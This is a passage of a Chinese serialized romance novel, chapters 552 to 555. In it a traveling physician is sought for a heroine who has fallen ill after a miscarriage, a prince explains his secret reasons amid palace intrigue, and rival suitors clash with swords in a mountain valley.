就在这时,陆天骄步履匆匆地来到了门口,轻唤梅汐媛:“姐姐,过来一下。” 梅汐媛遂先交待燕儿:“燕儿,你等我一会儿,我去去就回。” 第五百五十二章:街头巧遇神医不自知 “姐姐,拓跋泽到现在还没回来,我们总是一直在这干等着也不是办法。这会儿见着外面的雨也已经小了。不如,我出去找找他,看他究竟背着我们悄悄在搞些什么名堂?” 陆天骄将梅汐媛唤出门外,俩人走到一边悄声地说道。 梅汐媛想了想,最后点头道:“也好,不过眼看着天色也已经不早了,妹妹务必注意安全,早些回来才好。” 陆天骄答应说:“姐姐放心,我去去便回。” 话刚一说完,便迈步径直朝楼下走去。 傍晚时分,一场磅礴大雨终于过去。 天边竟现出了一道美丽的彩虹,宛若一座七彩桥一般,美轮美奂。 使得吸引了不少人纷纷走出家门,聚集在街上一起观看。 人群中,忽然出现了一名男子。 他墨发全束,身着一袭黑色锦袍,穿梭在其中,一副仿佛很是焦急的样子,逢人便问:“这城里最好的医治妇人病的郎中是哪位?” 此人便是从杜鹃谷中出来,赶着寻回一郎中为衣上云医病的拓跋泽。 见他气势汹汹,毫无一丝礼貌,最初的一些路人皆只是凉凉地看了看他,并没有回答他的问题。 许是心里实在着急,并未意识到自己的态度,又许是过去一直习惯了总以那高高在上的姿态与人相处。 他只当是没有问对人,于是又接着往前走了两步,继续询问一位妇人:“知道这城里最好的医治妇人病的郎中是哪位?” 岂料那妇人亦是回头不屑地瞥了他一眼后,吐掉嘴里的瓜子壳,又哼了哼鼻子道:“有你这样凶巴巴的打听事儿的吗?” 说着,便扭头回去一边嗑瓜子,与身旁的同伴一起颇有兴致地继续不知在议论着些什么。 “你……”就在拓跋泽生气地正要伸手过去再次扯拽那妇人理论一番时,一位身着青衫,略显儒雅的中年男人昂首挺胸,一手捋着自己的短须,悠悠开了口。 中年男人说道:“这位兄台看来一定是外地来的吧?” 拓跋泽遂渐渐收回了悬在半空中的一只手,不明所以地看向那儒雅气质的男人。 中年男人道:”西秦皇城里无人不知,最好的医治妇人病的郎中,当然是出自西秦学院,画起画来是黑团团里墨团团,写起字来是黑圈圈里墨圈圈,像是春蛇秋蚓,又似春蚕吐丝的傅郎中。” 拓跋泽一听,立马朝其近身上前了两步再次确认道:“你方才所言,可是真的?你知道这城里医治妇人病最好的郎中?” 中年男人笑了笑,不再说话。 拓跋泽想了想,继续追问:“那要去哪儿才能寻着这个傅郎中?” 中年男人朝其缓缓转过身来,神秘地道:“这个傅郎中虽然医术略显精湛,可这脾气确实出了名臭得很,只医有缘之人。且他向来云游四海,居无定所,想要寻他可就不容易了。” 拓跋泽想了想,顿时变得激动起来,伸手一把揪住了中年男人的衣领,狠狠道:“你这不是废话吗?是不是想死……” 怎料中年男人俨然一副沉着冷静的模样,丝毫不畏惧他的粗暴无礼。 拓跋泽与其对视了片刻后,不得已,也只能缓缓松开了手。 就在他心灰意冷地转过身去欲要迈步离开时,中年男人忽然开口问:“妇人现在是什么情况?” 闻声,拓跋泽怔了一下,背对着中年男人回答说:“怀孕已三月有余,刚刚小产,又淋了一场大雨,现在高烧不退,整个人都陷入昏迷了。” 中年男人一听,气愤不已地说:“妇人小产与坐月子并无异处,务必要好好保暖,小心照顾才行。又怎能淋雨呢!这样是会出人命的,你知不知道?” 拓跋泽一听,猛回过头来亦激动地说:“是那女人她自己不要命了大雨天跑出来想找死,我又能拿她怎样?” 中年男人看得出,拓跋泽此刻虽然嘴上说着狠心的话,心里却是为了救人着急得很。 否则,像他那般一个骄傲自大,趾高气昂的大男人,不会连自己鞋子上沾满了泥泞都没有察觉到,更无心打理,只顾着一心一意在街上苦苦寻医。 无论发生了什么,此刻,一定是有人生了很着急的病。 一念至此,中年男人朝他怒吼了一句:“你还愣在这里干什么,还不赶快去抓药!” 拓跋泽顿时惊看向中年男人的脸,疑惑不解地问:“抓药……抓什么药?” “连我都快要被你给气糊涂了!”中年男人说着,快步走向一旁自己的路边医摊上坐下。 他从桌上拿起纸笔来,快速的写下一药方,起身递到了拓跋泽的手里。 拓跋泽看着药方上所写的字,弯弯扭扭,着实是一个都看不懂。 接下来,只闻中年男人催促着道:“还不快去!你看得懂吗?” 拓跋泽忽地反应过来,说:“哦,我这就去。” 快速地折叠起药方塞入自己怀中,转身刚提起步却又回过了头来疑惑地问:“不过,你确定你这字,药铺的人会认得。” 中年男人肯定地道:“只要你是在西秦国的药铺里,便就有人会识得我的字,废话少说,还不快去!” 拓跋泽虽然对此人依旧半信半疑,可也没有其他办法。 一场大雨,街上几乎所有的店面全都关了门,无奈他只能照办。 可刚走了两步,却又被中年男人叫了回去:“回来回来回来……” 拓跋泽只得再次返回去,问:“还有什么事?” 中年男人叮嘱道:“这药,务必去城里的百草堂里抓。因为那里的药材最是上品,给你的娘子服下,才会最有效。” 拓跋泽一听自己被误解,当即反驳道:“什么娘子?我们不是那种关系,我和她……” 怎料中年男人却将他的话打断:“好啦,好啦,不必说那么多了,这些都不重要,只有救人才是最打紧的。” 拓跋泽摸了摸自己的后脑勺,无奈地只能再次迈步离开。 却又闻其召唤声再次响起:“回来回来回来……” 拓跋泽有些不耐烦了,问中年男人:“你又怎么了?” 中年男人说:“百草堂距离这里还远着呢!你娘子她现在情况很是危急,她人在何处,我最好亲自去先给她把把脉才好。” “这……”拓跋泽心里显然有些犹豫。 可中年男人说的话也不是没有道理,于是想了想,便妥协说:“好吧,她现在是一个人……就在城西郊外的杜鹃谷里。” 中年男人遂一默想,道:“好了,我知道了。你赶快去抓药吧,抓好药速速回来。” “杜鹃谷……”中年男人看着拓跋泽离去的背影一边自言自语地说着,一边赶忙过去收摊。 就在这时,出现了一名年轻的女子。 她驻足停留在摊位前,将中年男人从上到下全身仔细打量了半晌后,试探着叫了一声道:“你是……傅叔叔?” 听到传入耳畔的声音有些熟悉,中年男人缓缓抬起头来朝其一看,同样端详了她许久后,顿不禁有些不敢置信地道:“你是……天骄小姐?” “真的是你……傅叔叔”女子确认他的确是自己久未蒙面熟悉的人后,兴奋地说。 中年男人走上前来,亦抑制不住心里的喜悦,感慨万千地说:“多年不见,天骄小姐如今已经是个大姑娘了!记得我当初离开学院的时候,小姐还是个小丫头呢,整日里缠着我要学配制胭脂……” 女子亦激动不已地说:“是啊,傅叔叔。时间过的可真快,转眼我们已经有十几年没见面了。这些年,你都去哪儿了呀?当年,明明父亲已经为您在太医院安排好了要职,以傅叔叔的医术,定不会久居人下的,可傅叔叔为何却不辞而别了呢?” 闻此,中年男人垂首下去继续进行着手里的动作,却渐渐淡去了脸上的笑容。 似是不愿再提起过去的往事,只浅浅勾起一丝微笑,说:“小姐知道,我一向习惯了过闲云野鹤般的生活,宫里规矩多,所以就……” 女子似是明白了他的心思,于是关切地问:“傅叔叔,这些年,你过的好不好?” 中年男人想了想,道:“这些年,悬壶济世,四海为家,我很好,多谢小姐关心……” 接着问:“对了,院长和公子可都还好?” 女子一听,笑了笑:“父亲和哥哥都很好。” 见中年男子急着收摊,便问:“傅叔叔,你这是准备要去哪儿啊?” 中年男人答道:“哦,我正准备去往城西郊外看一个急诊。” 说完,忽然想到方才拓跋泽说起过,病人是一个人在杜鹃谷,无人照料。 想着自己一个大男人怕到时候有诸多不便,于是说道:“大小姐这会儿要是得空的话,可否与我一道走一趟。” 看到陆天骄脸上顿显出疑惑不解的表情,中年男人忙解释道:“那病患是名独居的年轻妇人。” “好吧。”陆天骄想了想自己虽然还要去寻拓跋泽,可眼下又似是也无法拒绝中年男人,便答应了他。 “对了,小姐怎会一个人在此……” 于是,俩人便一道继续叙旧,径直朝着城西方向赶去…… 第五百五十三章:我来晚了 “深山一场雨,处处挂飞川” 一场大雨终于过后,杜鹃谷青山如洗,瀑布如练,到处皆是流水潺潺,云雾缭绕,一切恍若仙境一般。 居高临下望去,只见浮现于山谷上空中的云海颇像极了一望无际的大海,虽表面平静,却处处暗流涌动,翻腾着瞬息万变,气象万千。 宁静的山谷里,伴随着“吱呀”一声响。 茶室的门忽然被人从外面推了开来,随之现出一个身着锦衣白袍,墨发半束的男子身影,迈步跨过门槛轻轻走了进来。 男子进门后,先驻足巡视了一番室内环境,很快便发现了榻上躺着的直至此刻依旧昏迷不醒着的衣上云。 于是,便小心翼翼地朝其身边踱步了过去。 “云儿?”霎那间,那男子瞪大了眼睛,对着出现在自己眼前的人难以置信地道。 不由再次更近了一些,待终于看清了那人的模样,看到衣上云一脸苍白无力,不省人事的凄惨模样,瞬间惊呆了。 他怯怯地伸出一只颤抖的手去,轻轻摇晃了两下她露在外面的一只手臂,轻唤其道:“云儿,醒醒,醒醒,你这是怎么了?” 见她对自己的呼唤显然久久没有一丝回应,男子心里瞬间升起一种不好的预感,于是便将手复又赶忙移至她的鼻息等各处继续查探。 直至从她的额头探到袭向自己一种滚烫的热度,才又一次被惊吓到:“怎么会……这究竟发生了什么?” 来不及多做思考,他紧忙撩起袍角来在其身旁坐了下来,捉起她的一只手,替其认真地把起脉来。 “小产后失血过多导致气血不足,又加伤心郁结,且染了极重的风寒……” 男子一边替其把脉,一边嘴里念叨着,从始至终,一直紧锁着眉头,愁容一丝不展地注视着衣上云的脸。 把完脉后,心中满腹疑惑。 女子有孕,理应是备受关怀与照顾,可为何数日不见,衣上云便成为了现在如此这般凄惨的模样。 可眼下救人最是要紧,他忙从身上掏出一粒药丸来,动作麻利地想要喂衣上云服下。 然到了这时他才发现,不知为何,衣上云的意识里竟然固执地不肯张开嘴巴来服药。 “你这到底是怎么了?竟然如此心灰意冷,甚至连一点儿求生欲也没有。” 无奈之下,拓跋宏心念一动,起身将衣上云从榻上扶起坐下,自己也紧挨着坐在她身旁,任她柔若无骨虚弱极了的身子牢牢靠住自己。 继而,将药丸塞进了自己的口中咀嚼起来。 直到感觉其粗细度可以使衣上云自己吞咽下去,方才俯身过去附上衣上云温软的唇。 果然,这次药丸终于成功地全部被移送入到衣上云的嘴里,拓跋宏方才移开来。 又将衣上云的身子小心翼翼地放下使其躺好,尔后起身不忘替其悉心地捻好被角。 在其身旁落坐下,一边替其擦拭额头上很快便不断渗出的细汗,一边等着她醒过来。 时间一分一秒的过去,伴随着茶室里香烟袅袅。 不知过了多久。 终于,衣上云的眼皮开始微微转动了起来。 拓跋宏一见,惊喜地道:“你终于醒了!” 衣上云努力地试着睁开眼睛来,待一看清眼前这张熟悉的面孔,同样吃惊地道:“你……你是拓跋……宏?怎么是你?二皇子,你怎么会在这里?” 闻此,拓跋宏却是顿时僵住了挂在脸上的惊喜,在心里一愣:是呀,此时此刻,他要怎么回答她他为什么会出现在这里? 难道他要告诉她,他是在暗地里跟踪自己的皇兄,因为他的皇兄正在掀起一场复仇的大阴谋吗? 他当然不能这样说。 至少,此时此刻,在她的身体如此脆弱的时候,他还不能将这个消息告诉她,增加她的负担。 于是,他便扯谎道:“近日闲来无事,听人说这里的杜鹃花开得甚好,所以便来观赏观赏。不成想,竟然又会在此遇到了你。” “哦,原来如此。”衣上云果然信以为真,缓缓地道。 看着她的眼睛,拓跋宏忽然心虚了起来,忙将目光躲闪开。 就在这时,衣上云忽然反应过来,开口道:“对了,你可知道,大皇子……他也还活着。就是他带我来到这里的,你可曾见过他?” “我来的时候,这里只有你一人昏迷不醒着,并再无他人。”拓跋宏并未表现得很惊讶,说道。 衣上云见他回答的有些心不在焉,像是在回避些什么,便试探着问:“你……是不是早就已经知道了大皇子他还活着?” 闻此,拓跋宏这才忽然回过神来,猛地一下抬头撞上衣上云对自己所投来的质疑的眼神。 心下里稍一思索,说:“皇兄他自小起便身经百战,总是能够在逆境中寻找到一线生机。所以,我一直都相信,他还活在这个世上。” 衣上云稍加思索,觉得拓跋宏说的也不是没有道理,于是便放下了心中的疑惑。 收回视线,转而有些低落地说:“那你们一定是错过了。西北一战,轰轰烈烈,真的是九死一生……这都怪我。” 回忆往昔,衣上云不禁再次难过地默默流起泪来。 拓跋宏见其再次落泪,着急地安慰她道:“我说过,这一切并不怪你,你永远都不必为此而自责。” 过了一会儿,衣上云忽然起身挣扎着想要下床来。 拓跋宏一见,忙伸手过去阻止劝说其道:“赶快躺下,你刚小产又染了风寒,身子还很虚弱,务必要好好卧床静养,切不可掉以轻心。” 听到“小产”两个字,衣上云不禁停下了手里的动作,随之就连脸色也渐渐僵住,仿佛整个人瞬间静止了一般。 拓跋宏似是意识到了自己的失言,可是话已出口,显然已经无法收回。 于是他只能朝其解释说:“刚才进来发现你的时候,见你陷入昏迷情况危急,我便替你把过脉了。” 看着衣上云的脸上毫无表情,拓跋宏知道其实她此刻是在极力隐忍着自己内心深处的痛楚。 遂自责不已地对其致歉说:“对不起,我来晚了。” 衣上云的确是在强忍着不让自己的泪水流出来。 然此刻她也是真的不能再若无其事地继续坐在拓跋宏的眼前,因为她已经实在忍不住了。 于是便咬了咬牙,对上他的眼睛,说:“我已经好多了,你就让我起来透透气吧?” 俩人瞬间四目相对,拓跋宏依旧迟疑了会儿,可终还是放开了她。 走出茶室所在院子的大门,沿着门前一条蜿蜒小路走了没多远,现出一片烟波浩渺、横无际涯的湖水来。 掩映在绿树之间,湖水碧绿碧绿的,远山如在又如无。 俩人便于此地驻足停了下来。 拓跋宏替衣上云紧了紧身上的黑色披风,关切地叮嘱道:“湖边风大,且刚下过一场大雨,你就在这里呆一会儿好了。可咱们说好了,只许呆一会儿,你务必要早早回去好好卧床修养……” “嗯,知道了。你又何时变得如此絮絮叨叨了!”衣上云点了点头,对她笑了笑,打趣道。 只是此情此景,不禁忽然让她想起那段在草原上的快乐时光来。 俩人就这样默默地站了许久。 终于,还是衣上云先开了口。 她望着云雾中若隐若现的远山,说:“不知为何?我经常会做一个梦,梦里是一个与这个世界完全不同的另一个世界。只是那个梦里的世界里面一些事,还有一些人,仿佛太过于真实。甚至经常让我分不清那到底是个梦?还是现实?” “人生如梦,梦如人生。”拓跋宏幽幽道。 衣上云苦笑了一下,道:“可是为什么不管是现实,还是在梦里,总是都那么苦呢?” “心里有执念才苦,放下执念方不苦。”拓跋宏沉声说道。 衣上云听了深吸了口气,道:“是啊……放下方不苦……可是,又如何才能放下?如果真的放下了,怕是也称不上执念了吧!” 终于,拓跋宏还是忍不住问:“你到底怎么了?数日前,我见你一切尚还安好,怎的突然会如此,你的孩子……究竟发生了什么事?” 闻此,衣上云紧紧握拳捏住衣角,终于还是忍不住,再次落起了泪来。 待到情绪稍微平静了一些下来,便将自己这段时间里所发生的事对其一一娓娓道来。 听了衣上云所说的一切,拓跋宏震惊极了:“他怎么可以这样做?” 似乎总感觉轩辕翰此举哪里有问题,可又怎么都猜不透。 于是沉思了片刻后,他默默地开口问:“那你还爱他吗?” 衣上云垂眼下去注视着自己的腹部,恨恨地道:“父皇、母后、孩子……在这个世上所有我最亲的人都没有了。你说,我还怎么爱他?” 看到衣上云竟如此为难,拓跋宏伸出手去捉住其肩头,将其缓缓转向面对自己,替其擦拭掉脸庞的泪痕。 紧接着,将她揽入自己宽大温暖的怀中紧紧抱住,一时间里,心疼地难以名状。 一只手一遍遍地轻抚着她的头发,望着湖面上的层层云雾,喃喃细语道:“大雾四起,曾经我在无人的角落里一直默默爱你。云雾散尽,这一生,多么希望我爱你这件事,能够人尽皆知。可是……” 靠紧他的心头,听着耳边他的喃喃细语,衣上云默默流起了泪来…… 第五百五十四章:本王再也不能护着你了 殊不知,俩人在湖边的一席谈话,竟都被一旁芦苇丛所遮挡的轩辕翰与程良主仆俩听到。 “终于,本王那尚还未出世的孩儿终究是没了……”尽管之前种种,轩辕翰依旧心里深觉咯噔一下。 本就因为丧子之痛而难过不已,此刻又眼睁睁看着自己深爱的女人依偎在别人的怀抱。 轩辕翰不禁顿时皱紧了眉头,紧紧握起了双拳。 若是从前,他定毫不犹豫地立刻飞奔上前去好好教训那人一番,可如今…… 意难平。 一时间里,坏至极点的情绪虽一再压制忍耐,可终敌不过其不停发酵,无限放大。 忽然间,甚至于连杀了那人好借此发泄他丧子之痛的心思都升了起来。 然一想到方才俩人的谈话里,衣上云显然已经知道了是自己亲手扼杀了他们的孩子。 他想,这次,她定是不会原谅自己了。 似乎一开始在他从未如此为难却又不得不做出这个决定之前,心里便已对所有后面将会发生的事情,自己所要承受的结果。 此刻,正在如他所料,于他眼前一一上演着。 所以,如今的这一切,不都是在自己的预料之中吗? 他从未如此强烈地感觉到,这一次,他是真的要彻底失去她了。 可他却是那样的舍不得…… 正在暗自思量着,一旁的程良环顾四周后忽然愣住,他认出了眼前的男人,朝其瞪大了眼睛惊愕地道:“是他?!他竟然还活着。” 遂回头一看,却见轩辕翰不知何时竟已转身落寞离去,遂亦转身随之疾步离去,压低了些许声音道:“殿下,等等我……” 恰时,之前与俩人分头行动去另一边寻找衣上云的易三少显然毫无收获。 见轩辕翰主仆俩气冲冲地经过,易三少便开口询问:“你们这边可有什么发现?” 轩辕翰看都没看他一眼,只自顾自地埋头朝来时的方向回去。 “哼!”程良经过他身边的时候对他哼了哼鼻子。 “你们这是怎么了?”易三少不明所以地道。 不明白二人到底发生了什么,易三少转身望着其离去的背影大声喊道:“你们要去哪里啊?” 然却已在也等不到任何回应。 遂在心里纳闷极了地喃喃自语说:“看来他们也一定是没有什么收获!” 再仔细一回想,道:“不对啊,紫苏的身上明明就是一股浓郁的杜鹃花香呀,如此强烈的气味,也只有在这杜鹃谷里才会沾染上了。” 思及此,他放眼望去,环视了周围一圈,忧心极了地道:“丫头,你到底在哪儿?” 遂又暗暗信誓旦旦地道:“不管你在哪儿,我都会找到你。” 一路上不言也不语,只顾着策马疾驰,直到华灯初上的时候,主仆俩方才回到了秦王府。 轩辕翰一跨下马来,便径直朝着承华殿回去。 岂料行至半路,却忽然被已经守在他回来的必经之路上一凉亭里,焦急等候了一整天的纯太妃叫住:“皇儿……” 至此,轩辕翰方才似是终于从自己的沉思中回过了神来,顿住脚步上前过去朝其抱拳行礼道:“母妃。” 纯太妃在欢儿的搀扶下从凉亭里起身走出,到了其身边,将他扶起,关切地问:“怎么样?是否已经寻到衣姑娘的下落了?她……她可还好?” 轩辕翰摇了摇头,说:“还没有!” 纯太妃纳闷地说:“母妃听人说今日一大早府里来了一位叫什么三少的,他与衣姑娘平日里颇为熟识,怎么,他也寻不到吗?” 轩辕翰一脸严肃,却依旧惜字如金地道:“没有。” 看到轩辕翰什么也不说,只见其一脸疲惫。 纯太妃虽然失望,却又无奈地道:“皇儿也要保重自己的身体才是。你已经在外奔波了一天一夜了,回去早些歇着,衣姑娘福大命大,想必应该不会有事的。” 对此轩辕翰此刻似乎并不想多说什么,便只朝其回道:“儿臣知道,多谢母妃挂念,儿臣告退。” 望着轩辕翰离去的背影,纯太妃摇了摇头,一筹莫展心疼地说:“对不起,都怪母妃太心急了,不成想反倒害了你。” “太妃娘娘,这下可怎么办呢?眼看着大婚在即,衣姑娘依旧没有丝毫下落,到时候衣府便就是抗旨不遵,这个罪名可不小呀!再者,这桩婚事是娘娘亲自进宫所求,怕是还要连累了咱们王府。”身旁的张嬷嬷担心极了地道。 纯太妃怎么都没想到,本以为是让有情人终成眷属,成就一段美好姻缘,怎料反被璟帝算计。 此刻,她恨恨地咬牙,说:“本宫发誓,就算是搭上本宫的这条老命,本宫也一定要护好我皇儿的周全。” 终于回到了大殿,看到主子眼里俱都是满满的愤怒,程良递上了一杯热茶。 方才不解地问:“殿下,既然放不下,为什么不去争取呢?” 轩辕翰沉默了一会儿,拿出一道圣旨来放在面前的案几上,这是在程良归来的前一天早朝时璟帝刚刚颁布的。 “这是什么?”程良疑惑地伸手将其拾了起来,问。 可待将其展开,刚扫到上面的字迹,便大惊失色道:“什么?陛下要殿下大婚之后立刻启程率兵亲征东宁国?” 轩辕翰沉声回忆着道:“当初本王发现母妃房里的由父皇亲手所绘制的《千里江山图》不见了,便知母妃定是怜见云儿腹中的孩子一天比一天大,便背着本王,以此为饵去求太后赐婚。” 程良听了大惊:“什么?太妃娘娘竟将最爱的《千里江山图》送给了太后?” 轩辕翰道:“那时,本王便知道,即便是母妃瞒过了太后,太后应允了,皇上也是不会轻易答应的。皇上生性多疑,他怎么可能相信母妃会给本王求一个无权无势的女子做王妃。可本王没想到,赐婚竟会来的这般快!那时本王便知道,这其中一定不简单。” 轩辕翰饮了口热茶,继续说:“直到前几日本王禁足被解,在宫里见过府里的暗卫,才知道皇上已经查到了云儿便是东宁国永宁公主。所以这次,本王不管出不出征,都会必死无疑!” 程良想了想,惶恐不已,又问:“可那不还有玥公主吗?皇上他真的就不管不顾公主的安危了吗?” 轩辕翰吐了口浊气,道:“玥儿身为公主,生来本就是一颗棋子,能够如愿与自己所爱之人携手同行一段,虽是昙花一现短暂的幸福,却已是奢望至极。又怎能还贪恋真的能与其会白头偕老呢!” 至此,程良终于明白了过来:“原来殿下是怕两国交战,衣姑娘陷入抉择两难的境地,所以宁愿衣姑娘恨您一辈子,也不愿去解释,不愿争取?” “其实,那落子汤……”轩辕翰顿了顿,虽极不忍心,可还是接着道:“那落子汤的确是本王亲自安排乐太医的,所以事到如今,本王又有什么好解释的呢?” 闻此,程良简直不敢相信自己的耳朵:“什么?落子汤是殿下你……” 程良怎会相信自己的主子会如此心狠对待一个无辜的生命,激动地道:“可这是为什么呀,就因为衣姑娘腹中的孩子是易三少的,所以殿下便……” 未及其将话说完,轩辕翰反驳他道:“当然不是,那个孩子本就是本王的,一直都是本王的。” “殿下您说什么,衣姑娘腹中的胎儿是殿下……” 闻此,程良顿显既兴奋,可又更是不解,甚至已经彻底被弄糊涂了地道:“既然如此,那又是为什么……” 轩辕翰心痛极了,咬了咬牙,说道:“因为云儿的身体,如果要生下那个孩子,将会要了她的命!” 至此,程良终于明白了一切,默默心疼地道:“怎么会这样,衣姑娘那么好的一个人……” 谁说不是呢,主仆俩一起复又陷入了沉思。 忽然,程良回过神来一脸着急地道:“糟了,三日后便是大婚之日,这一切,衣府都还对此一无所知,那到时候岂不……” 如此之大的一个阴谋,程良简直想都不敢想下去。 轩辕翰思虑片刻,吩咐道:“你亲自速去城西衣府一趟,安排衣上坤带着全家悄悄离开西秦。” 程良想了想,担忧地道:“可离开了西秦,他们还能去哪儿了呢?” 轩辕翰想了想,说:“你去百草谷找易三少,让易三少带他们走……” 程良不解地道:“易三少……” 轩辕翰回忆片刻后,道:“之前东宁与南安国差点儿联姻,想必南安老国君早已在未雨绸缪。如今,本王也顾不了许多了,只希望易三少能好好守护云儿……” 看到轩辕翰对衣上云已情深至此,程良替其心疼极了:“殿下……” 轩辕翰催促道:“快去,距离大婚还有三日,晚了怕就来不及了,想必皇上定是也早已派人盯着衣府了。” “属下遵命”终于,程良咬了咬牙,心一横,领命转身离开了大殿。 轩辕翰安排好一切,心里默默地道:“对不起,此生,本王再也不能护着你了……” 第五百五十五章:快带她走 一路紧赶着,傅郎中与陆天骄终于在天黑之前赶到了杜鹃谷。 傅郎中捉起衣袖拭了拭额角渗出的细汗,指着眼前一望无际的杜鹃花海介绍道:“天骄小姐,这里便是杜鹃谷了。” “没想到除了西秦学院,西秦国还有杜鹃谷这般如此令人心旷神怡,惬意自在的景致。” 尽管暮色降临,陆天骄依旧清晰地感受到眼前难得一见的好景致,叹为观止,赞叹道。 傅郎中捋了捋胡须,自豪地说道:“我西秦国地大物博,山河壮丽。尤其是自打秦王殿下率兵北征之后,就连辽阔的草原之地亦已成为我西秦疆土的一部分。” 说起这些来,傅郎中俨然一副滔滔不绝,如数家珍的架势:“诸如西秦学院,杜鹃谷这类的风景秀美之地,自是数不胜数。天骄小姐日后若是有时间,大可多出去走走,丰富阅历,亦开阔眼界。” 一提到轩辕翰来,陆天骄的脸上顿现出几分忧郁。 “不知这山谷是何人所布置?” 看着看着,陆天骄隐隐觉得这一切布局似是有些似曾相识。 遂在口中喃喃道:“不知怎的,我怎么总感觉这里和西秦学院有几分相似呢?” 一边走,一边说着。 很快,俩人便来到了茶室所在的院子。 推开门,却只见里里外外空无一人。 傅郎中担心患者的病情,于是急急忙忙出门将杜鹃谷的其他住所翻了个底朝天,怎料仍然毫无所获。 最后又回到了茶室,心里颇为纳闷地道:“当初我四处找人建这杜鹃谷的时候,只是为了方便有缘人在此处能有个歇脚的地方,所以上上下下也就只有这几处宅子,可怎么都不见患者人呢?” 一念至此,傅郎中心里顿时更加着急了起来,说:“据那男子所描述,患者的病情很是危机,不如我们出去分头找一找吧。” 陆天骄自是怎么都想不到,与自己近在咫尺的人会是衣上云,心里想了想,亦同意道:“也好!” 于是,俩人便一起复又出了门。 刚踏出门去,拓跋宏扶着衣上云珊珊归来。 拓跋宏将衣上云扶着进屋,坐到床边,嘱咐关切地道:“你的身体还很虚弱,还是多加休息才好。” 此时衣上云亦着实感觉到自己有些体力不支,一边有些吃力地坐上床去,一边感激地道:“这次幸亏有你在,否则,我真不知自己该怎么办?” 看着他细心照顾自己忙碌的身影,衣上云由衷地朝其道谢:“二皇子,真的谢谢你。” 拓跋宏从一旁捧着一杯热水回来递到衣上云的手里,说:“我倒是希望有那么一天,除了谢谢两个字,你能跟我说些别的。” 衣上云当然知道他在说什么,但她只是微微笑了笑,伸手将茶杯接过,轻轻抿了一口,瞬间觉得整个人都暖和了许多。 一时间,屋内的气氛有些尴尬,拓跋宏觉察后,道:“好了,你先睡一会儿,我去给你找些吃的来,我想这几天,你应该也没吃什么东西。” 说完,便转身离开了茶室,替其将门轻轻掩上。 不知过了多久,迷迷糊糊中。 衣上云隐隐约约仿佛听到了“嘎吱”一声门响,似是有人从外面将门打了开来。 她拖着疲惫的身子,缓缓睁开眼睛,询问:“二皇子,是你吗?” 然却久久没有得到应有的任何回应。 她心想:在这个地方,这几日里,除了今日刚遇见的拓跋宏,便是此刻不知去向了的拓跋泽了。 也不知道拓跋泽处心积虑将自己从衣府门前劫持带到这里来有何目的? 一念至此,她不禁心里顿时有些紧张了起来:“莫非,是拓跋泽又回来了?” 迟疑之下,她强撑起一点气力坐起身来下床。 却不想,双脚刚一着地,忽觉一阵眩晕,紧接着眼前一黑,双腿失力,眼看着整个人就要实实地倒下去。 一双大而有力的手朝她伸了过来,将其刚好接住,整个人便顺势稳稳地落在了一个宽阔温暖的怀抱里。 待衣上云刚一看清楚眼前的来人,俩人遂顿时异口同声惊诧极了地道。 “丫头……” “三少……” 许久未见,太多思念,又几多委屈…… 霎那间,一起涌上了心头,衣上云再也控制不住自己的眼泪,竟像个孩子一样哭了起来。 看着眼前身份明明无比尊贵,却连连受到如此不公的对待。 尔今伤痕累累,虚弱不堪的人儿,身边竟无一人照顾,任其在此自生自灭,易三少的心都碎了。 眼里明明聚满了怒火,仍咬了咬牙隐忍着一肚子准备想要对她说的话,只先将其一把横抱了起来,霸道又坚定地说:“走,跟我回家。” 谁料刚走出茶室院子的门,便被人从前方大声制止道:“放下她!什么人如此大胆?” 原来,是去百草堂抓药的拓跋泽回来了。 远远地,他一看见有人欲将衣上云带走,便疾步上来大声喝止道。 “是你?!” 显然,易三少对于此刻出现在自己眼前的拓跋泽竟仍然还好端端地活着,心里多少亦感到有些意外。 “好大的胆子,竟敢抢我的人!还不快把她放下!”拓跋泽上前看了看已经昏迷在易三少怀里的衣上云,朝其怒喝道。 易三少嘴角一抽,露出一抹邪魅的笑容,反问他:“抢你的人?你是他什么人?” “我……”显然,拓跋泽无言以对。 这个时候,易三少自是不屑与他废话,于是继续欲提步向前。 拓跋泽一着急,上前伸手将其拦住,道:“那你又是她什么人?” 易三少垂头看了看怀里衣上云的脸,道:“我不是她什么人,可她却是我的命!” 说完紧接着沉着气,厉声道:“如果不想死,就给我让开。” 拓跋泽自是也不甘示弱,目光定定地看着他,不依不饶,不肯放弃:“如果我不让呢……” 说着,便伸手过去欲要从易三少手里抢人。 怎料易三少似是早已察觉了他的阴谋,刹那间脚步微微一转,便来了个十分轻巧而又漂亮的漂移,拓跋泽扑了个空。 顿时间恼羞成怒,拓跋泽即刻拔出腰间佩剑来朝其砍了过去。 易三少接连数次成功地将其躲避开。 怎料拓跋泽越战越勇,更加步步紧逼,招招致命。 然衣上云已然陷入了昏迷,他显然不可恋战,难耐拓跋泽始终不依不饶。 稍一分神,眼看着拓跋泽手中的剑就要刺到他的心口处。 就在这时,暮色中,身旁忽然杀出另一把长剑,将拓跋泽的剑逼退了回去。 易三少只闻耳边传来一声:“快带她走!” 瞬间,拓跋泽便被那人引向了另一边。 易三少随即唤来了自己的快马,带着衣上云速速离开。 而不远处闻声赶来的傅郎中和陆天骄俩人,来时已是空无一人,只见地上散落着一些凌乱的野果。 “是你?” 黑暗中较量了几个回合后,最后俩人手里的剑抵在了一起,拓跋泽方才认出了阻挡自己的人竟是拓跋宏。 于是收起剑来,一边朝茶室里走去,一边诧异地问:“你怎么在这里?” 稍一回想,似是忽然间明白了过来,顿朝其发怒道:“莫非你在跟踪我?” “你一定要处处与我为敌吗?”拓跋泽恶狠狠地冲拓跋宏吼道。 拓跋宏亦收起剑来,单手附后,紧随其后幽幽道:“不管怎么说,你我终归兄弟一场,我不想你罪孽更加深重。” 拓跋泽冷笑了一声,满是质疑道:“我罪孽深重?” 紧接着,又反问拓跋宏:“我想这世上没有人比你更加罪孽深重了吧?难道你忘了父皇是怎么死的吗?” 看着拓跋宏竟对自己的话丝毫不动声色,拓跋泽更加怒火中烧,愤愤提醒道:“若不是你色迷心窍,引狼入室,亲信那个丫头,让她接近父皇,父皇怎会如此惨死,我北烈又怎会如此轻易便落入他人之手!” 拓跋宏承认,关于亡国一事,自己没有尽到一个皇室接班人的担当,难辞其咎,但那也仅仅是自己的错,从来都与衣上云毫无关系。 可对于父亲的死,他光明磊落。 此刻拓跋泽的这番话着实令他震惊极了,想要辩解道:“皇兄你为何到现在还不肯承认,杀害父皇的人明明是……” 岂料话刚开口,霎时间便被拓跋泽厉声打断:“住口,你永远都没有资格提父皇。” 